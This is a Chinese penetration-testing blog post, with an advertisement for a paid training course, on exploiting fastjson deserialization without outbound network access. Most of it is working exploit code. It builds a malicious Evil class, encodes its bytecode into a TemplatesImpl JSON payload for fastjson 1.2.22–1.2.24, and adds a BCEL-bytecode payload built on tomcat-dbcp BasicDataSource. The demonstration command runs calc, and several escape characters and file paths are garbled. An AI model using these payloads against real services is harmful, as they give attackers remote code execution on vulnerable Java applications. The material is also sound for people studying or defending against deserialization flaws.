java安全 fastjson不出网利用
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
最近暗月大哥在忙 由帅气的暗月小徒弟来更新 以下是平时一些笔记。希望对大家有用。
1.介绍
fastjson getshell的时候 需要构造一个恶意类
用的 rmi和jdni协议都是要出网的。在内网的情况下如果不出网的情况下就难以利用。
2.TemplatesImpl利用链
这个利用链有限制的。由于该字段在fastjson1.2.22版本引入,所以只能影响1.2.22-1.2.24
使用条件
1. parseObject(input,Object.class,Feature.SupportNonPublicField)
2. parse(input,Feature.SupportNonPublicField)
这里解释一下payload的构造:
@type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。
_bytecodes:主要是恶意类TempletaPoc的字节码。
_name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)
_tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类
outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。
package sec;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
class User{
private String id;
User(){
System.out.println("User go");
}
public void setId(String ids){
System.out.println("setId go");
this.id=ids;
}
public String getId(){
System.out.println("GetId go");
return this.id;
}
@Override
public String toString() {
return "User{" +
"id='" + id + ''' +
'}';
}
}
public class App
{
public static void main(String[] args){
System.out.println(JSON.parse("{"@type":"sec.User","id":"110"}"));
}
}
User go
setId go
User{id='110'}
把方法删掉无法获取值
package sec;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
class User{
private String id;
User(){
System.out.println("User go");
}
@Override
public String toString() {
return "User{" +
"id='" + id + ''' +
'}';
}
}
public class App
{
public static void main(String[] args){
System.out.println(JSON.parse("{"@type":"sec.User","id":"110"}"));
}
}
User go
User{id='null'}
私有变量 加上 Feature.SupportNonPublicField 是可以进行赋值的。
package sec;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
class User{
private String id;
User(){
System.out.println("User go");
}
@Override
public String toString() {
return "User{" +
"id='" + id + ''' +
'}';
}
}
public class App
{
public static void main(String[] args){
System.out.println(JSON.parse("{"@type":"sec.User","id":"110"}",Feature.SupportNonPublicField));
}
}
User go
User{id='110'}
是的,就是7U21链里面的TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类本身就存在反序列化漏洞,会将成员变量_bytecodes的数据作为类的字节码进行newInsantce操作从而调用其构造方法或static块。故可以fastjson为契机去调用此类。
但是由于_name 和_bytecodes 是私有属性,所以需要FASTJSON反序列化接口有Feature.SupportNonPublicField参数才能实现,利用条件很苛刻,但是条件允许的话就很方便,payload打过去就完事。
“_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。”
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
static {
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
构造恶意类 编译 读取文件得到payload
package sec;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.util.IOUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class FastjsonTemplatesImpl {
public static void main(String[] args) throws IOException {
byte[] code = Files.readAllBytes(Paths.get("D:pentestjavasecfastjsontargetclassesEvil.class"));
String byteCode = Base64.getEncoder().encodeToString(code);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{"@type":"" + NASTY_CLASS +
"","_bytecodes":[""+byteCode+""]," +
"'_name':'Evil'," +
"'_tfactory':{}," +
""_outputProperties":{}}n";
System.out.println(payload);
//反序列化
Object object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
利用成功
3.BCEL字节码利用
而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以进行bcel字节码的加载。
需要添加依赖 。
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
编译代码
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package sec;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Paths;
class fastjsonbecl {
public static void main(String[] argv) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("D:pentestjavasecfastjsontargetclassesTest.class"));
String code = Utility.encode(bytes,true);
String poc = "{n" +
" {n" +
" "aaa": {n" +
" "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",n" +
" "driverClassLoader": {n" +
" "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"n" +
" },n" +
" "driverClassName": "$BCEL$"+ code+ ""n" +
" }n" +
" }: "bbb"n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}
4.关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
5.投稿通知
-
目前只接受原创文章投稿 内容免杀 渗透实例 代码审计 溯源 经验技巧
-
要求 质量较好 从没发表 如有敏感内容请打码。
-
一经采纳根据文章质量给予作者 50-300的稿费。
-
欢迎写手长期合作 投稿联系
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/5837.html